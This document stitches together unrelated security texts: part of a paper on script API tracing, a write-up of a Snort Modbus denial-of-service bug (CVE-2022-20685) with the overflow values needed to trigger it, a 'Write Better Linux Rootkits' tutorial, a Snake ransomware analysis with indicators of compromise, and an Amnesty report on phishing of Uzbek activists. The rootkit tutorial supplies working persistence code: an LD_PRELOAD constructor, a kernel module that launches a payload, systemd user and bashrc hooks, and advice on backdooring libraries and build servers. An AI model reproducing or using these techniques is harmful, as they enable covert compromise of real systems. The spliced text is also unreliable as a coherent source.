This step acquires the execution traces that correspond to the test scripts for the target script APIs by executing and monitoring the script engine binary. Therefore, it provides a map h: M × C × SA → ESA. An execution trace with our method consists of an API trace and branch trace. The API trace contains the system APIs and their arguments called during the execution. This trace is acquired by inserting code for outputting logs by API hooks and executing the test scripts. The branch trace logs the type of executed branch instructions and their source and destination addresses. This is achieved by instruction hooks, which insert code for log output to each branch instruction. This step logs only call, ret, and indirect jmp instructions because these types of branch instructions generally relate to script API calls.
### 3.4 Hook Point Detection
The hook point detection step uses a dynamic analysis technique called differential execution analysis. This analysis technique first acquires multiple execution traces by changing their execution conditions then analyzes their differences. A concept of this step is illustrated in Figure 4. It is assumed that an execution trace with one script API call differs from another with multiple calls only in the limited part of the trace regarding the called script API.
Since we use a branch trace in this step, its analysis granularity is code block-level. Therefore, this step is even effective for script APIs that do not call system APIs. For example, Eval in VBScript, which only interacts with the script engine, does not need to call system APIs. Also, script APIs regarding COM method invocation do not call system APIs. Therefore, system-level monitoring, which uses system API calls as a clue, cannot observe the behavior of these script APIs. However, our method is effective even for these script APIs since this step is independent from system API calls.
This step uses multiple test scripts, i.e., one that calls the target script API once and the other(s) that call it multiple times, as described in Section 3.2. This step differentiates the execution traces acquired with these test scripts and finds the parts of the traces related to the target script API that appears in the difference. This differentiation is done by finding common subsequences with high similarity from multiple branch traces. Note that this common subsequence is defined as a subset of branch traces, which appears once in the trace of the test script that calls the target script API once and appears N times in the trace of one that calls it N times. To extract these common sequences, our method uses a modified version of the Smith-Waterman algorithm borrowed from bioinformatics. The Smith-Waterman algorithm performs local sequence alignment, which extracts a subsequence with high similarity from two or more sequences. However, we have a problem in that it does not take into account the number of common subsequences that appeared; therefore, we modified it to take this into account.
We first explain the original Smith-Waterman algorithm, then introduce our modified version. The Smith-Waterman algorithm is a sequence alignment algorithm based on dynamic programming (DP) that can detect a subsequence of the highest similarity appearing in two or more sequences. This algorithm uses a table called a DP table. In a DP table, one sequence is located at the table head, another is located at the table side, and each cell contains a match score. A match score F(i,j) of cell (i, j) is calculated based on the following equation:
```
F(i,j) = max {
0,
F(i-1, j-1) + s(i,j),
F(i-1, j) + d,
F(i, j-1) + d
}
```
where:
- s(i, j) = 2 (match), -2 (unmatch)
- d = -1
Our modified algorithm is the same as the original up to filling all cells of the DP table. We provide an example of a DP table for further explanation. A sequence of A, B, and C in this figure indicates one of the gray boxes in Figure 4. The letter S indicates the white box that appears at the start of the execution trace, whereas E indicates the white box at the end. The letter M denotes the white boxes that appear between the gray boxes as margins.
Although these elements actually consist of multiple lines of branch trace logs, they are compressed as A, B, and so on, for simplification. The original Smith-Waterman algorithm only finds the common subsequence of the highest similarity (S, A, B, and C with dotted line in Figure 5) by backtracking from the cell with the maximum score (the cell with score 8 in Figure 5). After finding one such sequence, it exits the exploration.
After this procedure, the modified Smith-Waterman algorithm performs further exploration. The algorithm repeatedly extracts subsequences of high similarity from the rows that are the same as the common subsequence extracted with the original algorithm. This is done by finding the local maximum value from the rows and backtracking from it.
The modified algorithm repeats this procedure N times to extract N common subsequences. If the similarity among the subsequences exceeds the predefined threshold, the algorithm detects the branches constructing the subsequence as hook point candidates. Otherwise, it examines the cell with the next highest score.
This step provides a map k: ESA1 × ESAN → HA where SA1 ⊂ SA indicates the test scripts that call the target script API once and SAN does those that call it twice.
### 3.5 Tap Point Detection
The tap point detection step plays two important roles. The first is to select the final hook points from the hook point candidates obtained in the previous step. The second is to find the memory regions that should be dumped into logs. Such memory regions have two patterns: arguments and return values of script APIs. This step provides a map l: M × C × SA × HA → TA.
#### 3.5.1 Argument
This step adopts a value-based approach that finds the matched values between the test script and the memory region of the script engine process. If an argument value of the script APIs in the test scripts also appears in a specific memory region, the location of the memory region is identified as a tap point.
Tap point detection for arguments of script APIs is carried out by exploring the arguments of the local functions detected as hook point candidates. To do this, this step acquires the execution trace again with hooks inserted into the hook point candidates obtained in the previous step. The arguments of the hook point candidates are available by referring to the memory location based on the calling convention. Since the type information (e.g., integer, string, and structure) of each argument is not available, further exploration requires heuristics.
Figure 6 illustrates the exploration heuristics used with this step. First, if an argument of a hook point candidate is not possible to be dereferenced as a pointer (i.e., the pointer address is not mapped), this step regards it as a value of primitive types. Otherwise, this step regards it as a pointer value and dereferences it. When an argument is regarded as a value, we consider the value as the various known types including the known structures for matching. In addition, this step also regards a pointer as the one pointing to a structure with the predefined size and alignment to explore the unknown user-defined structures. As a result of this exploration, if the arguments in the test script are observed as the arguments at a hook point candidate, this step regards the candidate as legitimate and determines the memory region of the argument as a tap point.
This exploration is improved if the type information is available. Therefore, this step may explore the memory regions more precisely by applying research conducted on reverse-engineering type information such as Laika, Type Inference on Executables (TIE), Howard, Reverse Engineering Work for Automatic Revelation of Data Structures (REWARDS), and Argos or that on predicting type information such as Debin and TypeMiner.
#### 3.5.2 Return Value
There are two problems with tap point detection for return values of script APIs. The first is that return values in test scripts tend to have low controllability. As mentioned in Section 3.5, tap point detection uses matching between the values in a test script and those in script engines. If a value in a test script is hardly controllable (e.g., it will always be 0 or 1), its matching would be more difficult than that with controllable values.
The second problem is a gap between a script and script engine. Due to this gap, how a variable is managed in a script and script engine may differ. This makes the return values in scripts and actual values in script engines different. For example, an object in a script engine returned by an object creation function may be returned as an integer that indicates the index of an object management table in scripts.
We use value-based detection in a similar manner as tap point detection for arguments. The difference is the entry point of the exploration. Since return values of script APIs may be passed through the return value and output arguments of the corresponding function in the script engine, the proposed method begins to explore from them. If the return value in the test script does not appear in the script engine, the proposed method tentatively regards the return value of the hook point function as that of script APIs.
### 3.6 Hook and Tap Point Verification
After hook and tap point detection, verifying their effectiveness is an important step. We define false positives (FPs) and false negatives (FNs) in the context of script API tracing regarding hook and tap points as follows. FPs indicate the log lines of called script APIs that are NOT actually called by the target script regarding the hook and tap points. FNs indicate the script APIs missing in the log lines, which are actually called by the target script.
Figure 7 shows an example case that produces an FP. In this figure, the hook and tap points for script API A are set at the function dispatch and its argument, which are actually shared between script API A and script API B. The hook with the points can log script API A calls; however, a call of script API B is also logged incorrectly at the time script API A is called. Therefore, this hook is inappropriate since it produces FPs. This problem is caused by the fact that the proposition “hook and tap points are appropriate → a correct script API log to a test script is available” is true, whereas its converse is false. For many hook and tap points and test scripts, the converse is also true. However, a counter example shown in Figure 7 exists. Since our method implicitly depends on the converse, it would be a pitfall that causes the FP case on rare occasions. To avoid this, this step verifies the hook and tap points selected for a script API and reselects the others from the candidates if the FPs are produced during verification. The verification uses multiple scripts called verification scripts that call the target script API. The only requirement of these scripts is that they contain a call of the target script API whose arguments are comprehensible. Therefore, since verification scripts do not have to fulfill the complex requirements like test scripts, they are automatically collectable from websites on the Internet such as official documents of the target script language and software development platforms like GitHub. Note that since the verification depends on the corrected verification scripts, it reduces FPs on a best effort basis. This step first extracts the script API calls and their arguments from the corrected scripts. Since benign scripts corrected from the Internet are not generally obfuscated, the extraction is done with no difficulty by static analysis. This step then executes the scripts with the generated script API tracer to obtain analysis logs. If the difference between the script API calls extracted from the verification scripts and those from the analysis logs is observed, the verification fails and the other hook and tap point candidates are reselected. Through this step, our method can experimentally select the hook and tap points that produce fewer FPs.
### 3.7 Script API Tracer Generation
We use the hook and tap points obtained in the above steps for appending script API trace capability to the target script engines. By using the maps h, д, k, l that are provided in the above sections and the inputs of our method B (i.e., (M,C)) and A, the method can construct the map of the goal f: M × C × SA → HA × TA. Therefore, this step can use the hook and tap points that correspond to the target script APIs obtained with the above steps. Our method hooks the local functions that correspond to the hook points and inserts analysis code. Note that a hook point indicates the entry of a local function that is related to a script API, as mentioned in Section 3.1. The analysis code dumps the memory of the tap points with the appropriate type into the analysis log. This code insertion is achieved using generic binary instrumentation techniques.
|
# Blinding Snort: Breaking the Modbus OT Preprocessor
**Executive Summary**
Team82 discovered a means by which it could blind the popular Snort intrusion detection and prevention system to malicious packets. The vulnerability, CVE-2022-20685, is an integer-overflow issue that can cause the Snort Modbus OT preprocessor to enter an infinite while-loop. A successful exploit keeps Snort from processing new packets and generating alerts. The vulnerability, which can be attacked remotely, has been patched by Cisco and the Snort team. All open source Snort project releases earlier than 2.9.19 and release 3.1.11.0 are vulnerable.
**Introduction**
Network analysis tools are integral to keeping networks secure by providing real-time logging and analysis of events and traffic. Snort is atop this list of analysis tools as the most popular network intrusion detection and prevention system. The open-source version of Snort still has an active community of contributors and developers, while Cisco has developed commercial versions of Snort since acquiring parent company Sourcefire in 2013. Snort is largely used passively on the network, but it can also take action on malicious packets, making it a powerful detection tool for defenders. An attacker who could blind this tool to malicious traffic, however, could gain an important advantage over network defenders.
In this report, Team82 will demonstrate how it was able to do just that through a vulnerability, CVE-2022-20685, we uncovered in Snort’s Modbus OT preprocessor. Exploiting this vulnerability allowed us to blind Snort’s ability to detect further attacks and run malicious packets on the network.
**Snort Rules and Alerts**
Snort’s open-source network-based intrusion detection/prevention system (IDS/IPS) has the ability to perform real-time traffic analysis and packet logging on internet protocol (IP) networks. Snort performs protocol analysis, content searching, and matching based on a predefined rule set. Snort rules can be based on raw data or on Snort’s built-in protocol parsers. Rules may trigger one of three actions:
- **Alert rules:** Generate an alert
- **Log rules:** Alert and log the alert
- **Pass rules:** Ignore the packet
To make the rule-writing process simpler and improve the detection capabilities, Snort comes with a set of preprocessors that are on by default and analyze and structure network traffic into objects that can be referenced later in Snort rules. Some of the preprocessors included in Snort are: ARP, DNS, SSH and some OT (operational technology) protocols, such as MODBUS / DNP3.
When writing Snort rules, one can easily use these objects—for example to check the Modbus function ID the modbus.func_id attribute can be used, instead of checking offset of the sixth byte in the packet.
**Modbus**
Modbus is an industrial protocol developed in 1979, first intended to transfer data over a serial line. Later it was expanded to include TCP/UDP support. The main Modbus function codes are:
**CVE-2022-20685: Technical Details**
While researching Snort OT preprocessors, we decided to focus on Modbus because it was one of the more complex OT preprocessors Snort supports. To understand what we found, we first need to examine the structure of the Modbus Write File Record function code.
**Write File Record (command 0x15)**
The Write File Record Modbus command writes multiple groups of file registers to the Modbus server. A file is an organization of records. Each file may contain up to 10,000 records, addressed 0000 to 9999 decimal or 0x0000 to 0x270F. The Write File Record Modbus command allows writing multiple groups of references. Each group is defined in a separate sub-request field that contains 7 bytes plus the data:
- Reference type: 1 byte (must be specified as 6)
- File number: 2 bytes
- Starting record number within file: 2 bytes
- Length of record to be written: 2 bytes
- Data to be written: 2 bytes of data per register
The number of registers to be written, combined with all other fields in the request, must not exceed the allowable length of the Modbus protocol data unit (PDU), which is 253 bytes.
**Vulnerability and Exploitability**
The Modbus preprocessor handles multiple Modbus function codes. Snort uses the ModbusCheckRequestLengths function to calculate the expected size for each packet. If we look at the function ModbusCheckRequestLengths in the file modbus_decode.c, we see a while-loop that goes over all of the groups in the packet, in order to calculate the total record lengths.
Can you already spot a potential problem? Let’s go over the steps for exploitation:
**Step 1**
The tmp_count parameter is initialized using a value from the packet->payload and represents the number of bytes remaining in the payload, according to the payload_length parameter. After tmp_count is set, we enter a while-loop with the exit condition of bytes_processed < tmp_count. Therefore, so far tmp_count = 10, which is constant and won’t change during the loop. As long as bytes_processed remains less than 10, the while-loop will continue looping.
To do so, let’s look at the content of the while-loop. We see that bytes_processed is affected by the record_length parameter, which consists of two bytes from the Modbus payload (Group → Record Length).
**Step 2**
The record_length parameter is of type uint16_t, with a value from the user-controlled Modbus payload. bytes_processed is also uint16_t, and is calculated by multiplying record_length by 2 + the sub-request header size, which is 7. However, the result of the multiplication can be more than the maximum uint16_t size, thus overflowing the value.
For example:
- record_length = 0xfffe
- MODBUS_FILE_RECORD_SUB_REQUEST_SIZE = 7
- bytes_processed = 7 + (2 * 0xfffe)
In this example, the bytes_processed will be 0x20003, which is:
```
0000000000000010|0000000000000011
High Low
```
In binary, when the result is cast to uint_16t, the lower 16 bits are kept, meaning the bytes_processed will be 0000000000000011, which equals 3. If the bytes_processed is 3, we do not exit the while-loop, because 3 (bytes_processed) < 10 (tmp_count), and we enter another iteration.
**Step 3**
Now, the new record_length will be taken from the user-controlled payload, from a specific offset that is partially affected by the bytes_processed value. Since we fully control the value of the bytes_processed using the integer-overflow bug, we can craft the payload in such a way that the newly calculated record_length will be any number we choose. Therefore, if the next value that is read into the record_length (allegedly the next group’s record length) is 0xfffb, then the bytes_processed will be calculated as follows:
```
bytes_processed = bytes_processed + MODBUS_FILE_RECORD_SUB_REQUEST_SIZE + 2*record_length
bytes_processed = 3 + 7 + 2*(0xfffb) = 0
```
So, the bytes_processed is now 0. The next time we enter the while-loop, the bytes_processed is 0 again, so we will go through steps 2 and 3 over and over, until the process is terminated by the user. This essentially keeps the process stuck in the while-loop (steps 2 & 3) “blinding” it forever. In this state, Snort will not process new packets and will not alert.
**Conclusion**
Successful exploits of vulnerabilities in network analysis tools such as Snort can have devastating impacts on enterprise and OT networks. CVE-2022-20685, uncovered by Team82, targeted just one facet of this popular network intrusion detection and prevention system. It can be exploited remotely to create a denial-of-service condition in Snort, keeping it from processing new packets, and generating alerts. Team82 believes network analysis tools are an under-researched area that deserves more analysis and attention, especially as OT networks are increasingly being centrally managed by IT network analysis familiar with Snort and other similar tools.
**CVE-2022-20685**
CWE-190: Integer Overflow or Wraparound
CVSSv3 score: 7.5
Description: An integer overflow vulnerability in the Snort Modbus OT preprocessor enables an attacker to remotely send a crafted packet to a vulnerable system, triggering an infinite while-loop and creating a denial-of-service condition.
|
# Write Better Linux Rootkits
有个中文版在Freebuf,需要的可以去看看
## Dig Deeper into User Space
### Let's Abuse Inits
The INIT
A lot of script kiddies know how to write their own SysV service file or modify the existing ones. Fortunately for them, SysVinit is still widely supported in the Linux world. The Debian family chooses to keep their SysVinit compatibility, which is also why systemd-sysv exists. Thus, Ubuntu inherited this as well.
For Ubuntu, things can be quite complicated. It historically used Upstart, switched to systemd from 15.04, then dropped Upstart and became more like Debian.
Here's a screenshot for INIT on Ubuntu 18.04:
Almost forgot the rootkit part...
For most cases, we use SysV style service files, which are basically shell scripts. You can find them in many devices, including IoT ones:
```sh
#!/bin/sh
# all comments have been removed
PATH=/bin:/usr/bin:/sbin:/usr/sbin
DESC="cron daemon"
NAME=cron
DAEMON=/usr/sbin/cron
PIDFILE=/var/run/crond.pid
SCRIPTNAME=/etc/init.d/"$NAME"
test -f $DAEMON || exit 0
. /lib/lsb/init-functions # wow, why not put our evil functions in this?
[ -r /etc/default/cron ] && . /etc/default/cron
parse_environment() {
for ENV_FILE in /etc/environment /etc/default/locale; do
[ -r "$ENV_FILE" ] || continue
[ -s "$ENV_FILE" ] || continue
for var in LANG LANGUAGE LC_ALL LC_CTYPE; do
value=$(egrep "^${var}=" "$ENV_FILE" | tail -n1 | cut -d= -f2)
[ -n "$value" ] && eval export $var=$value
if [ -n "$value" ] && [ "$ENV_FILE" = /etc/environment ]; then
log_warning_msg "/etc/environment has been deprecated for locale information; use /etc/default/locale for $var=$value instead"
fi
done
done
# Get the timezone set.
if [ -z "$TZ" -a -e /etc/timezone ]; then
TZ=$(cat /etc/timezone)
fi
}
# Parse the system's environment
if [ "$READ_ENV" = "yes" ]; then
parse_environment
fi
case "$1" in
start)
log_daemon_msg "Starting periodic command scheduler" "cron" # we can modify this function, without bringing too much attention
start_daemon -p $PIDFILE $DAEMON $EXTRA_OPTS
log_end_msg $?
;;
stop)
log_daemon_msg "Stopping periodic command scheduler" "cron"
killproc -p $PIDFILE $DAEMON
RETVAL=$?
[ $RETVAL -eq 0 ] && [ -e "$PIDFILE" ] && rm -f $PIDFILE
log_end_msg $RETVAL
;;
restart)
log_daemon_msg "Restarting periodic command scheduler" "cron"
$0 stop
$0 start
;;
reload | force-reload)
log_daemon_msg "Reloading configuration files for periodic command scheduler" "cron"
# cron reloads automatically
log_end_msg 0
;;
status)
status_of_proc -p $PIDFILE $DAEMON $NAME && exit 0 || exit $?
;;
*)
log_action_msg "Usage: /etc/init.d/cron {start|stop|status|restart|reload|force-reload}"
exit 2
;;
esac
exit 0
```
If we were going to implement our lovely rootkit in this service, please read the above code carefully.
An example here:
Put it to:
- /etc/init.d
- /etc/rc[runlevel].d
- /etc/rc.local
You will need root for this.
For systemd, we can do this without root; that's where systemd/User comes in.
Possible service file locations:
- /etc/systemd/system
- /etc/systemd/user
- /lib/systemd/system
- /lib/systemd/user
- ~/.local/share/systemd/user
- ~/.config/systemd/user
Write service file like this:
```ini
[Unit]
Description=Music Player Daemon
[Service]
ExecStart=/tmp/evil hello_from_systemd_user
[Install]
WantedBy=default.target
```
Use `systemctl --user enable service` for user services; `systemctl enable service` is for system-wide service.
### Bashrc
Very handy as well! Bash shell is frequently executed, which means bashrc files are, too. There are some files you might love:
- /etc/profile
- ~/.bashrc
- ~/.bash_profile
- ~/.bash_logout
Just add something like:
```sh
/tmp/evil hello_from_bashrc
```
That's it.
### Xinitrc
You probably won't believe this, but quite a lot of Linux servers have Xorg installed (because they want GUI). The most used distro for those admins is CentOS6 with Gnome2.
### Other RCs
Many programs have their own RC file for init config purposes, such as VIM. They exec code in RCs, and the RCs can be placed under `~`, let's abuse VIM.
### Abuse GUI/DE
Most Linux servers don't have any GUI installed, thus don't need to worry about this part. But like I said, there are plenty of boxes with Gnome (mostly CentOS/RHEL). I guess knowing a little bit about the Linux desktop can help you make better use of these.
### XDG Autostart for System
Put a desktop file to `/etc/xdg/autostart` and it will be executed on DE boot.
### XDG Autostart for User
Likewise, put the above file to `~/.config/autostart` and it will be executed on user login.
### Our Favorite -- Crond
It's indeed script kids' favorite because it's as straightforward as Windows's scheduled task. However, it's also well known to sys admins. So, let's put our job in some hidden places like `/etc/cron.d` instead of `/var/spool/cron`. I'm sure everybody knows how to write a cron job.
### Replacing Files
It can be done in many ways. Here I'm going to show you some source code tampering tricks. Take OpenSSH as an example; we can download its source and modify some function. `uncompress_buffer()` will only be used when `ssh -C` is specified, so be it, it is the one. When needed, use `ssh -C target` and the target will run our evil function.
We can patch existing binaries with our shellcode, without having to recompile the whole project. There's a tool called backdoor-factory that can help you with that. Plus, if we are in a git/svn server, make use of the source code it hosts, modify its Makefile or configure or something else useful. Through which, you have a chance of running your code on a mass scale of targets, or worst, just run it on the git/svn build server.
### Abuse Dynamic Libs
The use of dynamic libs is very common. Simply put, libs contain all the functions an executable calls, which means we can add our own code and get executed too.
To find a lib to tamper with, we use `ldd` to reveal its links to every dynamic lib. Here, we play with `libz.so.1`, because it's a lot like the example in the previous part. `libz.so.1` comes from zlib; you can check it with your package manager.
Download OpenSSH portable 7.9 source, grep search `zlib` keyword, and we can easily find some code residing in `packet.c`. Now we change zlib's code, add `system()` to `inflate()` function (which is located in `inflate.c`):
Build zlib and use the modified `libz.so*` to replace the legit ones in the target system, and run `ssh -C` to trigger our code.
**NOTE:** As dynamic libs, their functions get called frequently by ELFs, we better not add overhead to our code. And BEWARE, what if some external ELF we call in our lib code calls back? That would be a disaster.
### ld.so.preload
That's what script kids use. Yes, according to `ld.so`'s manual, `ld.so` handles every ELF/a.out in Linux.
To load a lib before `ld.so` handles any ELFs, we put our lib into `/etc/ld.so.preload`, or set `LD_PRELOAD=/path/to/libwhatever.so`, the latter is more stealth. Our lib is named `libevil.so`.
As a lib, it can't just get executed; it needs to be called. But what ELF would call our `libevil`? No worries, we can use something like `DllMain`, it's provided by GCC.
Here comes our code:
```c
#include <stdio.h>
#include <unistd.h>
static void __attribute__((constructor)) lib_init(void);
static void lib_init(void)
{
int pid = fork();
if (pid == 0) {
execl("/tmp/evil", "/tmp/evil", "hello_from_evil\n", (char*)NULL);
}
puts("evil lib initialized");
return;
}
```
And the Makefile:
```makefile
all:
gcc -Wall -fPIC -shared -o libevil.so evil.c -ldl
clean:
rm -f libevil.so *main*
```
Make it and upload to the target, test it out.
**NOTE:** `libevil.so` gets run before any ELFs, therefore we can't call anything dynamic to prevent boom. Also, `execl()` doesn't return unless it gets an error, which means `libevil.so` will exit its current process before any ELF actually gets run, resulting in an unusable system. By the way, `system()` always calls `/bin/sh`, thus can't be used in our `libevil.so`.
So, why not write our rootkit entirely in libs?
### Make Use of Kernel Space
**LKM**
Linux can load unverified kernel modules on the fly; sounds cool, huh? Writing LKMs is easier than it looks. Just write a Makefile first, you will know when you see it:
```makefile
obj-m += temp.o
all:
make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build/ M=$(PWD) clean
```
And the LKM code comes in:
```c
#include <linux/kernel.h>
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL"); // if not specified, the kernel is gonna complain
static int cmd(char* argv[], char* envp[])
{
call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC); // this is how we execute something
// envp is useful as it provides env var support
printk("exec cmd %s\n", *argv);
return 0;
}
static int init_mod(void)
{
char* shell[] = { "/tmp/evil", "hello_from_lkm", NULL };
cmd(shell, NULL);
printk("initialized module\n");
return 0;
}
static void cleanup_mod(void)
{
char* shell[] = { "/bin/rm", "/tmp/evil.log", NULL };
cmd(shell, NULL);
printk("module removed\n");
return;
}
module_init(init_mod);
module_exit(cleanup_mod);
```
Simply put, you need `module_init()` and `module_exit()`, with your custom `int init(void)` and `void exit(void)` as args. Add a GPL license, hail FSF!
After building the LKM, `insmod` helps you load the module, `rmmod` does the opposite. Let's load it and see:
No one seems to care about initrd.
You can write LKM to `/etc/rc.modules` or something to load your LKM on boot, but there's a better way to do that. Yes, initrd helps a lot.
If you don't understand the way Linux boots itself, go to this article.
For Kali Rolling (Linux 4.18), we have the following demo:
That's it, thank you guys for being here. If you need, here's the Chinese version.
|
# Targeted Attacks on Industrial Companies Using Snake Ransomware (Updated)
According to Kaspersky ICS CERT data, a number of industrial companies are currently experiencing targeted attacks involving the Snake encryption ransomware.
On June 8, 2020, issues were reported that affected the computer networks of Honda, a Japanese motorcycle and auto manufacturer, in Europe and Japan. Specifically, it was announced that Honda Customer Service and Honda Financial Services were experiencing technical difficulties. Information security experts believe that, in all likelihood, one of the company’s servers was infected with Snake (EKANS) ransomware.
A sample of the Snake malware discovered by some researchers on VirusTotal checked for Honda’s domain name, “mds.honda.com” (which is probably used on the company’s internal network). If the domain name cannot be resolved (i.e., if the corresponding IP address cannot be determined), the ransomware terminates without encrypting any files. According to the researchers, this could indicate that the attackers’ activity is targeted.
Kaspersky ICS CERT experts used their own telemetry data to identify other samples that were similar to the sample uploaded to VirusTotal. Based on the findings of our research:
1. The malware was launched using a “nmon.bat” file detected by Kaspersky products in domain policy script folders.
2. The only difference between all of the Snake samples identified is the domain name and IP address embedded in the code.
3. The IP address embedded in the malware code is compared with the IP address resolved from the domain name, if the malware was able to resolve it.
4. The malware encrypts data only if the IP address embedded in the malware code matches the IP address resolved from the domain name that is also embedded in the malware code.
5. The IP address and domain name combination embedded in the malware code is unique for each attack we have identified and is apparently valid for the internal network of the organization targeted by that specific attack.
6. In some cases, the domain names may have been obtained from public sources (DNS), while information on IP addresses associated with these domain names is apparently stored on internal DNS servers and is only available when sending DNS requests from the victim organizations’ internal networks.
7. In addition to the domain name and IP address of the organization under attack, which are embedded into the malware code, new Snake samples are different from those identified in December 2019 in that they include an extended list of file extensions (types) that the malware should encrypt. The new samples include extensions for virtual drive files, Microsoft Access, source code in C/C#/ASP/JSP/PHP/JS, as well as the corresponding files of projects/solutions and other extensions that were unsupported by earlier samples.
The results of our research clearly indicate that the attackers carry out multistage hacker attacks, each attack targeting a specific organization. Encrypting files using Snake is the final stage of these attacks.
Each Snake sample was apparently compiled after the attackers had gained knowledge of the relevant domain name and its associated IP address on the company’s internal network. In the malware samples analyzed, the IP address and domain name are stored as strings. This means that the executable file cannot be easily changed (patched) after compilation because the length of these strings varies.
Clearly, checking that the domain name matches the IP address is a technique designed to prevent the malware from running outside the local network for which the sample was created. It is most likely that the attackers used domain policies to spread the ransomware across the local network. In that case, they had access to the domain administrator’s account, compromised in the attack’s earlier stages.
It is known that, in addition to Honda, victims include power company Enel Group. According to Kaspersky ICS CERT data, attack targets also include a German company that supplies its products to automakers and other industrial manufacturers and a German manufacturer of medical equipment and supplies. Apparently, other automakers and manufacturing companies have also been attacked: similar Snake samples have been detected on computers in China, Japan, and Europe. We believe the attack may have gone beyond the victims’ IT systems. Specifically, in one case, the malware was detected and blocked on the video surveillance server of an organization attacked in China.
All malware samples were proactively blocked by Kaspersky products using the heuristic signature Trojan-Ransom.Win32.Snake.a, which was created using the original Snake sample that appeared in December 2019. It is worth reminding that an important distinguishing feature of Snake is that it targets, among other things, industrial automation systems – specifically that it is designed to encrypt files used by General Electric ICS. This is evidenced by the fact that the malware attempts to terminate the processes of General Electric software before starting the file encryption process.
Attacks similar to those described above continue. If you have encountered an attack of this kind, you can report it via a special form on our website.
## July 7, 2020 Update
Our hypothesis that the attackers used the attacked company’s domain controller to spread the ransomware across the local network is supported by one more curious fact. The malware checks the domain role of the computer on which it is running. If the computer has the domain controller role (DomainController), the function returns the value “1”. If the function that checks the attacked computer’s domain role returns “1” (i.e., the computer has the role of a primary or backup domain controller), the function that calls it returns “0”. This results in the malware terminating without performing any encryption. The calling function also checks whether the domain’s IP address matches the hard-coded IP address. This means that if, as we believe, the attackers used the domain controller to spread the malware across the victim’s local network, the domain controller exclusion logic described above would certainly work for them, since they needed the domain controller to be operational and unencrypted.
## Recommendations
To identify traces of an attack and prevent possible damage, Kaspersky ICS CERT recommends:
- Using the indicators of compromise provided to identify infections on Windows workstations and servers.
- Checking active domain policies and scripts for malicious code.
- Checking active tasks in the Windows Task Scheduler on workstations and servers for malicious code.
- Changing the passwords of all accounts in the domain administrator group.
## Indicators of Compromise
**MD5:**
- ED3C05BDE9F0EA0F1321355B03AC42D0
- 7DDB09DB3FB9B01FA931C2A1A41E13E1
- C547141B8A690EEE313C0F6CE6B5CCA6
- 47EBE9F8F5F73F07D456EC12BB49C75D
- D659325EA3491708820A2BEFFE9362B8
- C7C39967E16500C37638AB24F1BB3FF9
- F58A00D132205045F8AA4C765239301F
- D1277A10494B5D2D5B21B2488C650D3A
- 1E296139AF94AFC2F6002969E8EA750E
- E52927F8E4A22B4D9FD463637A8696EE
- 6DDD81BE14DFC8354AEB63220CFE112E
- DC68AE3CC7BDB1EC80C72FC9F0E93255
**File Names:**
- nmon.exe
- nmon.bat
- KB3020369.exe
- KB[7 random numbers].exe
**Folders in Which Malicious Objects Can Be Located:**
- %WinTemp%
- sysvol[domain name]scripts
|
# Targeted Surveillance Attacks in Uzbekistan: An Old Threat with New Techniques
**March 12, 2020**
## Introduction
A new Amnesty International investigation has identified a campaign of phishing and spyware attacks targeting Human Rights Defenders (HRDs) from Uzbekistan. In May 2019, the Canadian non-profit organization eQualitie released a report describing an attack campaign using web and phishing attacks against journalists and activists working on Uzbekistan. Based on this report, we began tracking the group that was behind these attacks. We identified a broader infrastructure along with new Windows and Android spyware used by the attackers.
During the investigation, we identified a partial list of targets that confirmed that activists and journalists were targeted by this campaign. This report documents a worrying evolution in the surveillance threat facing HRDs in Uzbekistan, which now appear more sophisticated than previously documented, and able to bypass some security tools HRDs use to protect themselves against surveillance.
## Human Rights and Surveillance in Uzbekistan
Amnesty International has documented serious human rights violations, including pervasive torture by security forces and arbitrary detention, in Uzbekistan. Impunity for past abuses continues to prevail despite recent reforms of the criminal justice system and the closure of detention centers notorious for torture. While more independent media outlets have now been able to operate inside Uzbekistan, the rights to freedom of expression, association, and peaceful assembly continue to be tightly regulated, and civil society activists face reprisals for their peaceful activities.
The threat of torture, its actual use, and sexual violence have forced many HRDs, government critics, and independent journalists to leave Uzbekistan. The few who remain in the country, including activists and journalists released from prison since 2017, and their families, have continued to be under surveillance and have faced intimidation, threats, and arbitrary detention by the police and the State Security Service (SGB).
This physical surveillance and repression of Human Rights Defenders and journalists have been supported by a well-developed surveillance system. A Privacy International report from 2014 described the technical capabilities deployed within the country to monitor internet and phone communications. An Amnesty International report from 2017 titled, "We will find you, anywhere" described the threat of surveillance for HRDs including several cases of email hacking using phishing attacks. In 2018, Amnesty International published concerns about the detention and interrogation of a number of users of the social media platform Facebook in Uzbekistan, based on administrative charges after they posted comments on their Facebook accounts or "liked" and shared posts of other social media users. More recently in October 2019, Kaspersky presented the cyber-attack framework of a group called Sandcat that they attribute to the Uzbekistani State-Security Services during a conference.
## Phishing using Evolving Techniques
### What is phishing?
Credentials phishing (or "Password-Stealing Phishing") consists of the creation of a website that imitates the login prompt of a given online service, such as Gmail or Facebook, with the objective of luring a victim into visiting the malicious page and entering their username and passwords, thereby transmitting these credentials to the attackers.
Based on the threat report published by eQualitie, we have investigated and tracked the evolution of the fake websites and internet infrastructure used by these attackers. The group was very active between May and September 2019, when several dozens of domains were created. Many of these domains mimicked Google domains, such as acccountsgoog1e[.]com or auth-google[.]site, or generic email domains like auth-mail[.]email (Please note: the domains have been purposefully modified by Amnesty International with the marking [.] in order to prevent accidental clicks and visits).
Originally the attackers used cloned pages of, for example, Google login prompts in order to lure targets and steal credentials. This is the most traditional and typical phishing technique, but it is rather simplistic. From June 2019 we observed an evolution in the phishing tactics adopted. Our research reveals that the group started to use a new phishing framework that acts as a relay between the phishing site and the real affected website, in order to bypass most forms of Two-Factor Authentication. In technical language, this technique is often referred to as "session hijacking" and the framework used as a "reverse proxy".
### What is Two-Factor Authentication (2FA)?
Two-factor authentication (often called 2FA) is the utilization of a second mean of authentication beside a password. Common second factors include a temporary code delivered by SMS, a temporary code given by a Smartphone Application (such as FreeOTP or Google Authenticator), and a code generated by a Hardware Security Key (like Yubikey or Solo Key).
Attacks bypassing some forms of second factors are not new. We published a report in December 2018 warning HRDs about them in the context of a phishing campaign with targets in the Middle-East and North-Africa. Latest attacks by this group in Uzbekistan represent the first time Amnesty International observed session hijacking used in attacks against HRDs, but several open-source tools published in 2018 and 2019, such as Modlishka or Muraena, have already made this capability publicly available to the information security community.
